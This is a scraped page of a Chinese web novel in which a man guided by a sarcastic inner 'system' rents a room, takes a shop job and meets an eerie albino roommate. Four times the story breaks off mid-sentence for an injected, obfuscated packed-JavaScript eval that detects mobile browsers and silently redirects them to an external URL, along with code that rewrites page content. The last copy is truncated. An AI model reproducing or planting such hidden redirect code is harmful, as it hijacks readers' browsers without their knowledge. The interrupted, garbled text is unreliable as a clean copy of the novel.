“想。”祁帘栅闭上嘴，“唯唯诺诺就唯唯诺诺吧。” “所以我们现在去哪？”祁帘栅见系统半天没说话，问道。 “哦，也不远。”系统看了眼地图，“你从这坐地铁，也就两个多小时就到红光了。” “多久！”祁帘栅不死心道。 “你走就行了，哪那么多废话！”系统虽然语气挺凶，但总让人觉得他很心虚。 祁帘栅听出系统说话的声音中气不足，也没揭穿他，按照系统的指示买好票，坐上了地铁。 说是坐，实际上他整整两个小时，就没坐下来过，一直被人挤来挤去，连腿都伸不开。 等祁帘栅晕晕乎乎地下地铁后，刚想扶着墙休息一会儿，又被人流往前撞去，他腿一软，差点跪在地上。 系统见状，没忍住大笑出声：“笑死我了，你行不行啊？” “当然。”祁帘栅有些虚弱道，“我还能坚持。” 系统更加大声地笑起来，他看着祁帘栅走出地铁站，很好心地提醒他：“还要坐几站公交。” “什么！”祁帘栅差点没晕过去，“这是坐吗？我腿已经要断了。” “你想开点，”系统安慰道，“说不准有坐呢？” 祁帘栅终于坐上公交，舒服了不少。 他看着公交车往一处小道开去，周围全是茂盛的植被，和城市的气息格格不入。 “肉肉，你确定是这条路？”祁帘栅感觉车越走越偏，甚至已经没有住房的痕迹了。 系统肯定道：“就是这边，你知足吧，好歹公交能到，不算很偏。” “这边离一些大学近，周围还有一些大商场。”系统突然嫌弃地盯了祁帘栅一眼，“不过那种‘高端场所’，可不是你这种交了房租，全身上下不到一百块的穷鬼可以进的。” 祁帘栅切实感受到贫富差距，他思考一阵，问道：“我在这边能找到工作吗？要不我还是重操旧业吧。” “旧业？”系统啧了两声，“你也不看看现在是什么年代了？说不准你的职业早就消失了。” “应该不会吧？”祁帘栅还是有点自信，“从古至今，算命这一行还是挺吃香的。” “实话告诉你吧，”系统没好气道，“现在网上有各种算命软件，只要输入出生日期，什么都能给你算出来。” 祁帘栅倒是没什么难过的感觉，他虚心求教道：“真的什么都能算出来？” “当然。”系统得意道，“不信我来给你算算，你把生日告诉我。” 祁帘栅却沉默下来，系统等了半天，都没等到祁帘栅的回答，他有些不耐烦道：“怎么又不算了？” “我不知道自己的生日。”祁帘栅回道，他的声音挺平静，系统却能感觉到祁帘栅语气中的怅然，“我是孤儿。” 系统沉默下来，他没再说话，看着祁帘栅下了车。 他们走进一个老的小区，小区虽然老，但是却不脏乱。 系统跟随着祁帘栅的视线看了一圈，勉强评价道：“还算干净。” 房主是一位中年男子，头发不是很秃，只有一点微微的啤酒肚，看起来挺精神。 一看就是好人，祁帘栅在心里想道。 祁帘栅还没想好怎么上去打招呼，房主就已经看见他了，一本正经地向他这边走来。 “你就是要来租房子的小伙子？”房主大叔说不上多严厉，也没多亲热。 祁帘栅刚准备回答，系统就在他脑海里恨铁不成钢地低声提醒道：“唯唯诺诺！” 祁帘栅立刻回想起系统说过的话，赶紧卡了下壳，装作有些不敢看房主大叔的样子，结巴道：“是……是我。” “小伙子，我知道你是从家里偷跑出来的。”房主大叔见祁帘栅这副样子，语气不由得缓和了一点，他看祁帘栅不像是什么凶神恶煞的样子，对系统的说辞又信了几分。 “我们先上去，边聊边说。”房主大叔说着走进楼道，带头向三楼走去。 祁帘栅正想抬腿跟上他，就感觉腰侧一痛，好像是被人掐着拧了一下，祁帘栅疼得眉毛当即拧成一团，就听系统恨恨道：“别那么积极，记得你的人设！” 祁帘栅只得收回要迈出去的腿，缩了缩脖子，才小心翼翼地跟着大叔上楼。 大叔走到房门前，才再次说道：“我知道你家里人对你不好，还想把你送给变态大叔……咳。” 说到这，大叔卡了个壳，想起来自己也是个大叔，说起这话来明显不太对劲，他见祁帘栅随着自己的话，又小心翼翼地往后退 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251683|181991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一步，整个人明显不安起来，连头都不敢抬，心中顿时有些愧疚。 哪知道祁帘栅听到他这话，差点一口唾沫喷他脸上，用尽毕生练出来的意志力才勉强忍住想骂人的冲动，只能低着头将自己的情绪藏在眼里。 祁帘栅在脑海里疯狂质问系统:“肉肉！你到底对他说了什么！什么变态大叔！！！” 系统此刻就跟死了一样，完全没有回声，祁帘栅大脑中只能听见自己气急败坏的声音回荡。 “先不说这些了，都过去了，你就先安心在这里住下吧，再做下一步考量。”房主大叔赶紧打开门，将身世坎坷的祁帘栅让进门，“先进来看看房子吧，有什么问题跟我说。” 祁帘栅把气愤的情绪压下去，勉强抬头，扯出一抹僵硬的笑容。 大叔见这孩子唯唯诺诺，胆小怕事，看起来已经尽自己最大努力向他表示友好了，看着祁帘栅的眼神不禁越发怜悯。 这个房子不是很大，但该有的东西都很齐全。只是除了次卧，每个房间都把窗帘拉得严严实实，客厅的昏暗和次卧的明亮形成鲜明对比。 祁帘栅走进次卧的小房间，看了一圈。 房间不大，但是床单被罩都有，被子明显是在晒过的，有股太阳的温暖味道。 这房子明显比祁帘栅想象中好了不少，他也没看出还有什么不对，就继续按着人设对大叔怯怯地点了点头。 大叔平常大大咧咧惯了，不太习惯和这样社恐怕事的小男孩相处，赶紧拿出一份合同，对祁帘栅说道：“那就签个字吧，你这段时间就安心住下。” 祁帘栅正准备在合同上签字，系统突然出声，没好气道：“傻蛋，你水电的事还没问清，还有卫生间的使用问题，就这么稀里糊涂地签合同。” “我让你演傻子，不是让你真当傻子！一点生活常识都没有！”系统声音很大，吵得祁帘栅脑壳疼。 他尽量忽视系统的喊声，不用装，就用心累的语气说道：“那个……水电，还有……卫生间。” 大叔听见祁帘栅的话，这才想起来自己光顾着走了，还没交代清楚其他事。 他见祁帘栅一副惨兮兮的样子，心中不禁有些同情，说出来的话就变成了：“卫生间你和其他租户共用，至于水电，”大叔见祁帘栅不安地缩在一边，“算了，你也用不了多少，就包括在租金里了。” 祁帘栅听到这话，差点维持不住自己唯唯诺诺的人设，系统再次恶狠狠地用意识拧了下祁帘栅的腰，咬牙切齿道：“人设！” 祁帘栅赶紧收拾好窃喜的心情，顶着张苦瓜脸，签下合同，把五百块租金交给大叔。 大叔拿完钱，又交代了祁帘栅几句，祁帘栅只不停点头，没再开口说话。 房主大叔也没在意什么，跟祁帘栅说完话就一溜烟走了。 等房东大叔走后，祁帘栅终于找到机会质问系统，语气不善道：“肉肉？什么变态大叔？” “问什么问！”系统一副色厉内荏的样子，“不该问的别问，让你住上房子就不错了！” 祁帘栅可没惯着他，故意拖长音调，语气不善道：“肉肉？你到底给我编了个什么样的悲！惨！身！世！” 12. 门缝 系统当然不会告诉祁帘栅自己是怎么编排他的，他随口敷衍：“没什么啊，就是说你爹不疼娘不爱，在家中遭人嫌弃，受到不公平待遇，突然有一天觉醒了，然后忍无可忍，决心一个人跑出来独自生活……” “那我怎么还被父母送给变态大叔？嗯？”祁帘栅打断系统的狡辩。 “这怎么了？”系统提高声音，“我不就是给你的悲惨生活增加了点料吗？不然能让人家房主可怜你的遭遇，你能租下这个房子吗？” “得了便宜还卖乖，你要不要脸？”系统气恼的声音中明显藏着心虚，“你再问我，我可就走了，你以后自己为自己打算吧，我可不会再操心了，真是好心没好报！” 祁帘栅也没真跟系统置气的意思，他就是想问清楚这个系统到底给他安排了个怎样的身世，让房主大叔用一种宽容怜悯的眼神看着他。 见系统都快急得跳脚了，祁帘栅赶紧安抚道：“好好好，肉肉真好，多亏了你，很我现在都有房子住了，再也不用睡大街了。” 系统本来还要气急败坏地说祁帘栅几句，听见祁帘栅这么夸自己，刚要说出口的话顿时被他咽了下去。 系统想生气，却发现自己根本气不起来，只能装作高冷地哼了一声，不再跟祁帘栅说话。 祁帘栅见人都走了，关上房门，直接一下像僵尸一样仰头倒在床上。 他这几天紧绷的弦终于松了几分，躺在床上的时候觉得格外放松。 明明这里的床比不上宾馆的床软，床单被套看起来也没宾馆的新，但祁帘栅就是感觉这床睡起来比宾馆舒服很多。 特别是闻着床上新鲜的阳光味，他感觉自己好像全身上下都被阳光包裹着，温暖的感觉让他心情舒畅。 系统感受到祁帘栅的放松，撇了撇嘴：“人还是得有个稳定的住处，真脆弱。” 祁帘栅突然睁开眼睛，把系统吓了一跳，“肉肉，你喜欢什么植物？我想在窗台上养一盆花。” 系统正想让祁帘栅别老是一惊一乍的，闻言愣了一下，才不满地嘟囔起来：“不知道，系统没有喜恶，别什么都问我。” “哦，那买盆多肉吧。”祁帘栅一下从床上弹起来，拿上钥匙就往外走，丝毫没注意到主卧的门打开了一个缝隙，似乎有什么东西透过门缝向他们这边看过来。 “为什么买多肉？”系统疑惑地问道。 “你叫肉肉。”祁帘栅笑起来，“这不是为了配你吗？” “你！”系统反应过来，祁帘栅这是在故意逗他，气得不说话了。 祁帘栅在楼下逛了一会儿，找到一个花店，花了整整六十元巨款买了一盆多肉，他有些心痛地捧着那盆多肉，感叹了一句：“肉肉，你太贵了。” 系统只嫌弃道：“没钱还买什么东西，这么大人了，自己还不知道自己的经济情况吗？”系统嘟囔的声音很小，倒让祁帘栅听不太出什么嫌弃的意味。 祁帘栅好脾气地忽略系统语气中的不满，“生活嘛，不能完全丧失了乐趣，买盆花养养挺好的。” 系统还没来得及骂祁帘栅两句，祁帘栅就再次出声：“我看刚才那家店在招服务员，日结工资，应该不需要身份证，我明天去看看，肯定把这盆花钱赚回来。” “你要是一天连六十块都赚不回来，那你就不用活着了。”系统听起来不太高兴，“哪凉快哪待着去吧。” 祁帘栅不太明白系统这来回浮动的情绪，无奈摇了摇头。 “你说你怎么这么没用志向！”系统又有些气愤，“我说好要带你走上人生巅峰的，你怎么自己一点不急，就知道去当个服务员？” “职业都一样，有工作就行。”祁帘栅没在意系统的话，安抚他道。 “怎么一样？这离我们的目标差太远了好吗？”系统有些炸毛，“你是不是不相信我能帮你走上人生巅峰。” “相信。”祁帘栅几乎是立刻答道，但系统分明从他口中里听出了一种哄孩子的语气。 “我……不是你！”系统被他这副样子气得话都说不连贯，最后恶狠狠地留下一句，“算了，跟你说不清。” 祁帘栅见他这么生气，无奈地补充了一句：“我不是不相信你，只是凡事都得慢慢来，我先拿到可以在这里生活下去的工资，我们才能进行下一步对吧？” 系统想了半天，还是认可了祁帘栅这个说法，但他不想承认自己对现状的无能为力，只能赌气地不说话了。 祁帘栅买完盆栽，开始在小区周边散步。 这个小区植被很茂盛，尤其是现在夏天的傍晚，走在路上就能呼吸到一股植物的清香。 和一棵不知道是什么的树交换了半个小时呼吸，祁帘栅才带着多肉回到自己的小房间。 路过主卧的时候，祁帘栅看见卧室开了一小条缝，从门缝间透出一丝暖黄的灯光，比一般人家里的光更暗些。 祁帘栅无意偷窥他人隐私，犹豫着要不要在门口向主卧的室友打个招呼，就被系统突然出现的声音吓了一跳。 “这很不正常。”系统阻止了祁帘栅刚抬起来想要敲门的手，“这主卧里没开吊灯，应该只开了一个台灯。” 系统正说着话，祁帘栅就听见房间里传来一阵悉悉索索的声音，听起来是像是有人用力把纸巾揉成一团，随手丢在一边。 祁帘栅仔细听去，还有什么东西挤压瓶子发出的声音，接着是一阵混乱夹杂着分不出性别的喘气声，听起来有些暴躁。 祁帘栅沉默一阵，脚下步伐放轻，默默离开主卧门口。 他蹑手蹑脚地走回自己的房间，将多肉摆在自己的窗户前，选了个好位置，欣赏了几秒。 系统这才道：“那房间的人总感觉不太正常，情绪不稳定，可能有暴力倾向。” 说到一半，系统意识到自己对祁帘栅过于关心了，又立刻变了语气：“反正你自己注意点，别被人打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251684|181991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死了。” 祁帘栅被他这么一说，总感觉后背有些发凉，他立刻把次卧的门反锁了一圈，仔细听客厅里没有人走动发出的声音，心里这才安定几分。 “你最好别起夜，在自己房间里好好待着。”系统不耐烦道，“不然就你这体质，估计没被打死也被吓死了。” “不会吧，”祁帘栅被系统说得心里发毛，晚风从窗户吹进来，祁帘栅本来就出了一背汗，这会儿只觉得整片后背湿滑粘腻，不禁打了个哆嗦，“说不准他就是性格有些孤僻，不喜欢见人呢？” “那祝你好运。”系统说完这句话，也懒得再和祁帘栅掰扯什么，自顾自休息去了。 祁帘栅嘴上说着没什么，但他还是下意识关注着隔壁的动静。 隔壁一直发出些细微的响声，不像是人在床上翻动的声音，是一种祁帘栅形容不出来的声音，有时是清脆的一两声，有时又猛地发出什么东西在地上摩擦的声音。 祁帘栅关上灯，闭着眼睛，心中不禁开始想象主卧的场景。 整间卧室的窗帘都死死拉着，只有一两道微弱的月光透过窗帘缝隙，照在一张雪白的床上。 床边的桌子上亮着一盏台灯，台灯的光线不稳定，忽闪着，像一个即将断气的人在艰难拼命地呼吸。 祁帘栅看不清室内的样子，只能看见台灯的光似乎被什么东西挡住了一半，室内显得更加昏暗。 祁帘栅有些疑惑地走上前，想看看台灯前有什么，台灯忽得暗下去，祁帘栅不知怎么，到了桌子另一边，正对着台灯前的一片阴影。 祁帘栅的头向前靠去，几乎要跟那黑影贴到一起。 台灯忽然亮了一下，祁帘栅看见一张放大的脸。 那是一张满是横肉的壮汉的脸，在台灯亮起的一瞬，照亮了脸上凶狠的肌肉线条，和那双阴冷的眼睛。 室内再次陷入黑暗，祁帘栅却能感觉到面前的人呼吸的粗气打到自己脸上。 祁帘栅一惊，猛地睁开了眼。 面前是一片黑暗，隐约有几道月光从窗帘里透过来，映在他的脸上。 祁帘栅深吸几口气，才压抑住后背一直冒出的冷汗。 刚才是梦！ 在意识到刚才自己只是做了个噩梦后，祁帘栅明显冷静了不少，他感觉嘴里干得厉害，起身准备去客厅给自己倒杯水。 不知道是不是这几天漫展起得太早，祁帘栅刚走出卧室门，眼皮就开始打架，他强撑着去客厅倒了杯水，也不知道从哪找的杯子，几口就喝完了水。 祁帘栅再次昏昏沉沉地往房间的方向走去，却发现自己房间的门不知道什么时候合上了。 祁帘栅站在门口，手摸索着找到门把手，用力压了下去。他推了一下门，却感觉门从里面被什么东西阻挡了一下。 祁帘栅用力睁开眼，就看见黑暗中有一双很亮的眼睛正透过门缝直直盯着他看，差点就凑到祁帘栅脸上。 13. 任务 祁帘栅身体僵在原地，他很想离开这里，腿脚却有些不听使唤。 那双眼睛自从看见他之后，眼球就没转动过，只静静盯着祁帘栅看。 祁帘栅余光间看见门框的颜色不对，不是他住过的次卧样子，倒和记忆中主卧的颜色一样。 祁帘栅还记得系统跟他说过主卧可能住着个精神不正常的人，冷汗一下浸透了后背。 那双眼睛里似乎没什么情绪，看清门口站着一个人后，向后退了一步，让开了门口的位置。 祁帘栅看见那双眼睛重新隐藏在门背后的黑暗中，才再次感受到自己的腿。 祁帘栅艰难拖着已经发麻的腿，向后退了好几步，飞快走向自己的房间。 他还没走几步，就听见吱嘎一声，主卧的门在地上发出一阵刺耳的摩擦声，在他身后打开了。 祁帘栅被冷汗浸湿的后背上当即起了一身鸡皮疙瘩，理智告诉他应该直接跑回卧室，但好奇心还是驱使着祁帘栅向后看了一眼。 屋内很黑，祁帘栅只看见一个模糊的人影，大致看过去，应该比自己矮上一点，身体也不是他梦中那样的大块头，没什么特别的样子。 祁帘栅心中突然升起一股怪异的感觉，好像自己白长了这么高，被一个比自己矮了半个头的瘦弱黑影吓得连滚带爬。 系统适时出声：“好像某侦探番里的小黑。” 祁帘栅顾不上听系统到底说了什么，他正犹豫着要不要停下来，装作什么事都没发生，镇静地走回房间时，就听身后一串虚浮的脚步声似乎向着反方向离开了。 祁帘栅疑惑地向后望去，就见那黑影正往洗手间的方向走去，几秒后，关上了洗手间的门。 祁帘栅有些尴尬地站在原地，看着自己一副惊慌失措的样子，很想找个地缝钻下去。 “哟，你这么个大高个，被人家一个小孩身材的人吓成这样？”系统很是嫌弃地啧啧两声，祁帘栅只感觉脸有些烧起来。 他在心里没好气地回了两句：“有本事你来？”一边默默拉开卧室门，一溜烟钻进去。 系统对祁帘栅这副胆小样很是鄙夷，又出言嫌弃道：“你干脆半夜开着灯睡吧。” 祁帘栅进了卧室，还是心有余悸地反锁了卧室门，他躺在床上，感受到后背有东西顶着，这才放心了大半。 他在心里回道：“还不是你一直告诉我要小心主卧的人，我才有心理阴影了。” 系统一点反思的意思也没有，他不在意地说道：“我说的确实没错，他肯定心理有问题，我能感觉的到，你最好还是离他远点。” “但是我没想到，你胆子这么小，被人家吓得屁滚尿流。”系统明显看不起祁帘栅，又道，“你这胆子是怎么活这么大的？” 祁帘栅听系统这么说，没好气道：“我又不是活在修仙世界，我是在正经世界长大的，也怕鬼啊。” “要怪就怪作者吧，谁让他没给你一个胆子大的设定。”系统和祁帘栅一致同意了这个说法，把锅甩到背锅大师韭菜盒子身上。 这一晚祁帘栅睡得不是很好，他老是想到隔壁住的那个人，虽然看不出他到底有什么问题，但给祁帘栅留下了一个阴影，总让他把人往青面獠牙处想。 好不容易到天亮，祁帘栅顶着两个黑眼圈起来，打开房门的时候快速看了一眼门外，见没人在客厅里游荡，才敢快速溜到卫生间。 祁帘栅洗漱完，就带着脑子里的系统一起走到他昨天晚上看见招店员的商店。 现在时间太早，还没有顾客进门，整间商店只有几个店员在货架上整理商品。 祁帘栅礼貌地走进去，问前台的收银员：“你好，请问老板在哪里，我是来面试店员的。” 收银员是一个长相甜美的小姐姐，本来以为祁帘栅是顾客，听见他说自己是来面试店员的，瞬间用一种奇怪的眼神看着祁帘栅。 尽管奇怪，收银员小姐姐还是给他指了个方向。 祁帘栅跟收银员道了谢，走到老板面前，说明了来意。 老板听后，先是愣了一下，然后才用一种和收银员同样奇怪地眼神看向祁帘栅，半天没说出话。 “我不符合标准吗？”祁帘栅见老板面上犹豫，礼貌问道。 老板寻找了一下措辞，才回答道：“你确实不符合标准，我们招的是女生。” “女生？”祁帘栅这才注意到，店里的店员全是女生，确实没一个男性。 “我看你们招聘启事上没有标准性别，我还以为男性也可以。”祁帘栅说着有些失望。 老板听他这么说，想起来自己确实没写性别，不禁有些不好意思，“这个，我确实没写性别，只是一般来应聘的确实都是女性，男性没几个愿意干这个活的。” “为什么？”祁帘栅有些疑惑。 “这个大概是社会因素吧，男性不会优先考虑这个工作。”老板也没多说，她看祁帘栅外貌条件还不错，人也挺有礼貌，没有直接拒绝他，“既然你想来工作，那就先试一天。” “如果你今天干下来感觉还不错，明天就正式上班吧，”老板说着将他带到一旁的货架边，“你就看哪里商品缺了，就去库房里拿货补上，有时候商品乱了整理一下。要是有客人，顺便给他们推销一下商品。” “你就管洗漱用品这一块吧，底薪两千一，如果有人从你负责的这里买了商品，再分给你商品总价的百分之三作提成。”老板说着，就将祁帘栅带到洗漱用品的货架前，又交代了几句，就急急忙忙走了。 祁帘栅看着货架上各种洗漱用品，头都大了一圈，他勉强将东西放置的大体位置记住，就迎来了第一个顾客。 那是一个地中海的中年大叔，看见祁帘栅的第一句话就是：“你好，我想买个洗发水。” 祁帘栅默默看了看他几乎没剩几根的头发，很想问问大叔，你平时还要用洗发水吗。 但为了工作，祁帘栅忍住了。 他还没来得及说话，就见大叔一直盯着他的头顶看，露出一副满意的表情，开口询问：“我看你用的洗发水就挺好，防脱固发的是吧，给我推荐一下吧。” 祁帘栅卡了下壳，才勉强维持着礼貌的表情，从一堆洗发水里找出一个防脱固发的，介绍给大叔：“这款洗发水就挺好的。” “你平时就用的这个？”大叔拿着洗发水，满意地点点头。 祁帘栅犹豫一阵，觉得自己还是不能欺骗顾客，于是认真解释道：“不是，我一般随便用点东西洗，不一定是洗发水。” 大叔抬起头盯着祁帘栅，看起来不太高兴。 祁帘栅正想着如何安抚顾客，大叔就把手里的洗发水一下塞进祁帘栅怀里。 祁帘栅差点没拿稳，就见大叔转头就走，只撂下一句：“我不要了，真是的。” 祁帘栅有些尴尬地摸了摸鼻子，把洗发水重新放回原位。 接下来的几个小时，祁帘栅手忙脚乱地应付来回的顾客，卖出去的东西少到可怜。 系统也不着急，反而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251685|181991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在祁帘栅大脑里优哉游哉地说道：“估计你又要失业了，不过你也不用太伤心，毕竟生活时代不同，不能适应很正常。” 祁帘栅有些心累地送走最后一个顾客，他好说歹说，好歹是让人家买了一盒面膜带回去安慰刚吵完架的妻子。 商店到了要关门的时间，祁帘栅再次来到老板面前，等候着最终审判。 老板见祁帘栅一副被生活打击的模样，安抚地拍了拍他的肩，“第一天工作，感觉怎么样？” 祁帘栅面前扯出一抹微笑：“还可以，挺有成就感的。” “以前没做过这一行吧？”老板没急着点评祁帘栅今天的工作，反而问起他之前的经历。 祁帘栅总觉得老板问这句话怪怪的，好像自己是一个清澈的大学生，却为了钱误入歧途，在干什么见不得人的勾当。 “没有。”祁帘栅实话实说。 系统听到这话，没好气在他脑子里踢了一下，“蠢蛋！” 祁帘栅抑制住眩晕的感觉，强撑着没有露出异样。 “你明天来正式上班吧。”祁帘栅本来都准备拿钱走人了，听到这话有些意外地转过头。 老板递给他一个信封，“这是你今天的工资，我开这个商店也是一时兴起，不知道什么时候就倒闭了，所以工资按天结，以后你直接找虹姐领吧。” 祁帘栅没听清老板具体说的什么，此刻系统一改往日的不正经，严肃认真地对祁帘栅通知道：“检测到宿主已完成第一阶段任务——自力更生，系统奖励一千积分，可自行兑换系统商城内的东西（前提已拥有系统商城控制权，否则将由系统代为兑换）。” 老板眼看着祁帘栅在她说完话后，就一副呆愣愣的样子，拿着信封傻里傻气地走出店门，只当他是高兴疯了，顿时有点怜悯这个可怜的孩子。 祁帘栅半天没说话，快走到楼下时，才想起要拆开信封，拿出里面的钱数了数。 不多不少，正好两百五，和他现在的样子差不了多少。 “喂，”系统终于看不下去了，“二百五你就高兴成这样，你个二百五。” 祁帘栅把钱收起来，自动忽略了系统不太友好的语气，“不是，我在想我怎么就通过试用期了。” “不知道，可能那老板眼神不好吧。”系统回道，“你要没什么事，我就走……”他话还没说完，就被一股力量操控着转换了话题，“第二阶段任务——找回失去的人气。” 祁帘栅都能听出系统语气里强烈的不情愿，他像人机一样说完这句话后，这才接上了刚才半句话：“…了。” 祁帘栅只觉得有些好笑，系统却已经不理他了。 祁帘栅收拾好心情，揣着自己一天辛苦挣来的钱，正准备掏出钥匙开门，却听见身后有人走动的声音。 那脚步声有些虚浮，一听就是常年卧床在家的当代爬虫青年。 祁帘栅转过头，就见一个发色银白的年轻男子走了过来。 男子不光头发是白的，眉毛和睫毛也是极浅的金色，在老旧楼道不亮的灯下，几乎与白色没有什么分别。 他的个子没有祁帘栅高，皮肤雪白，瞳孔是浅淡的琥珀色，望向祁帘栅的时候有种拒人于千里之外的冷淡。 祁帘栅本来想装作没看见男子，但见他直直向着自己的方向走过来，丝毫没有避开的样子，祁帘栅也只能有些尴尬地冲他笑笑。 男子只是看了他一眼，就径直走到祁帘栅身后，在祁帘栅惊恐的注视下，打开了房门。 14. 室友 祁帘栅呆呆站在门口，半天没敢跟着男子走进去。 男子走进房里，将手中提着的袋子放在餐桌上，走进卫生间。 卫生间里传来一股水声，男子在里面洗手，祁帘栅这才看到男子放在桌子上的是一碗面，看起来是刚下楼拿了个外卖，回来时正好被自己撞上。 男子洗完手，再次提起外卖袋，他没有看祁帘栅一眼，走进主卧关上了门。 祁帘栅这才走进房子，默默关上了大门。 “原来就是这么一个弱不禁风的小伙？”系统出声道，“就把你吓成这样？” 祁帘栅想到男子的样子，咽了咽口水，反驳道：“他还是挺可怕的。” “啊？”系统不可置信，“你胆子真这么小？他一看就肩不能提手不能扛的，就这还可怕？” “我不是说这个，你难道没有感觉到，他很冷吗？”祁帘栅说着缩了缩脖子，驱散心中的冷意，“感觉要把我冻上了。” “人家性格就那样。”系统不甚在意，随口应道，“他应该是单纯不想跟人交流，感觉有点交流障碍。” 祁帘栅回想着男子刚才的样子，他一边走，一边在心里问系统：“他的发色很浅，还不能照强光？” “嗯哼。”系统应道。 “白化病？”祁帘栅说不上心里在想些什么，就跟他不明白男子对他的态度一样。 系统这回连哼都懒得哼了，算是默认。 祁帘栅没再多想，到卫生间洗漱完，就回到自己的房间，往床上一躺，心里顿时放松下来。 祁帘栅闲下来后，才开始研究起系统给他的第二阶段任务。 “找回失去的人气？这怎么找回？”祁帘栅想不明白，“我去读者家敲门，一个个把他们求回来？”说着他觉得那场面有些离谱，自己都笑了出来。 系统想象着祁帘栅敲读者家门，读者上一秒还在手机上相关论坛骂着祁帘栅，一开门，就见祁帘栅站在门口。 那惊悚程度，估计会让人以为祁帘栅从书里穿出来复仇了，场面堪比死神降临。 “噗——”系统没忍住，笑了出来。 笑完这声，系统这才意识到自己做了什么，他立刻换上一本正经的态度说道：“蠢蛋，这算什么？你随便想想也知道，只要达到自己之前的人气水平，就算是成功了，没必要还是之前那一波人。” 祁帘栅听完叹了口气，他有些无奈道：“你先告诉我，我之前的人气有多高？” “也不是很高，就是第五大名著的水平吧。”系统答道。 “啊？”祁帘栅一脸震惊，“不是，四大名著的地位那么高？我？”祁帘栅指了指自己的脑门，“第五大名著？” “你别往自己脸上贴金了，也不看看作者的水平，”系统嫌弃道，“那是读者的戏称，调侃一下你还当真了？” “行吧。”祁帘栅松了口气，“那还好，我想想办法吧，说不准就达到了。” 系统听得出祁帘栅压根没把这第二阶段任务放在心里，正准备发火，就听祁帘栅说道：“肉肉，你不用睡觉吗？” “那当然，我们高贵系统可不是你们人类这种低等生物可比的，自然不用休息。”系统骄傲出声，顿时忘了质疑祁帘栅刚才的话。 一人一统聊着天，不知不觉，天就黑了下来。 祁帘栅感觉肚子有些不舒服，打开房门，蹑手蹑脚地走到卫生间。 期间他路过主卧，看见里面依旧只有一丝似有若无的光，和一种奇怪的清脆声。 祁帘栅无意偷窥别人的隐私，悄悄离开主卧门口。 等他回来的时候，主卧的椅子却突然被人挪动了一下，发出刺耳的声音。 祁帘栅来不及躲避，正好和男子迎面撞上。 男子看清祁帘栅的时候，也有一瞬间怔愣，似乎没想到祁帘栅会站在自己的卧室门口。 男子皱起眉，昏黄的台灯光线透过他浅金色的睫毛，让他整个人的轮廓不太清晰，模糊地融入黑暗的屋中。 祁帘栅看不清男子的视线，只觉得自己像一个被发现的偷窥狂，莫名有些心虚。 男子没对祁帘栅说话，他从旁边绕过祁帘栅，将手中的外卖袋放在门口的位置，又再次走了回来。 祁帘栅赶紧让开房门前的空位，让男子进了主卧。 祁帘栅目送着男子的身影消失在房门后，正准备回房间，就听见主卧门里传来一阵上锁的声音。 祁帘栅表情一僵，总感觉自己真的被误会了什么。 祁帘栅没遇见过这种人，不知道该用什么样的态度面对他，特别是他拒人于千里之外的冷淡，好像瞬间就能把周围人冻住，让人说不出一句话。 祁帘栅只能小心翼翼，生怕触到自己这个室友的雷区。 他和系统没聊多久，就睡了过去。 见识到隔壁室友的真面目，不是他想象中凶神恶煞的恐怖分子，祁帘栅这一觉睡得很好，醒过来时就听见系统气急败坏地叫声。 “祁帘栅，你给我醒醒，还有三分钟你上班就要迟到了！”系统恨不得直接在祁帘栅脑海中给他来个十连踢。 祁帘栅被系统吓了个激灵，瞬间清醒过来。 他几乎是跑着到门口，一下甩开房门，就踉跄着冲了出去，差点一头撞在地上。 祁帘栅转头想看看自己是被什么东西绊倒的，就看见一个外卖袋倒在门口，剩汤洒了一地。 来不及犹豫，祁帘栅提起外卖袋，顺手甩上房门，就一溜烟往楼下跑。路过垃圾箱的时候，他顺手把外卖袋扔了进去。 祁帘栅一路狂奔，跑到商店的时候，还是迟到了五分钟。 好在今天老板没在门口巡视，没抓到正式上班第一天就迟到的好员工祁帘栅。 祁帘栅悄咪咪溜进去，继续坚守在自己的岗位上。 “真是服了你，睡得跟死猪一样！”系统等祁帘栅有惊无险地回到工位上，这才开口，只是依旧生气，“下次你再这样，我可就不叫你了！” 祁帘栅诚恳地开口：“确实是这几天没睡好，我下次注意，一定早点起来。” “这还差不多。”系统说完这句话，就再次断联，也不知道干什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 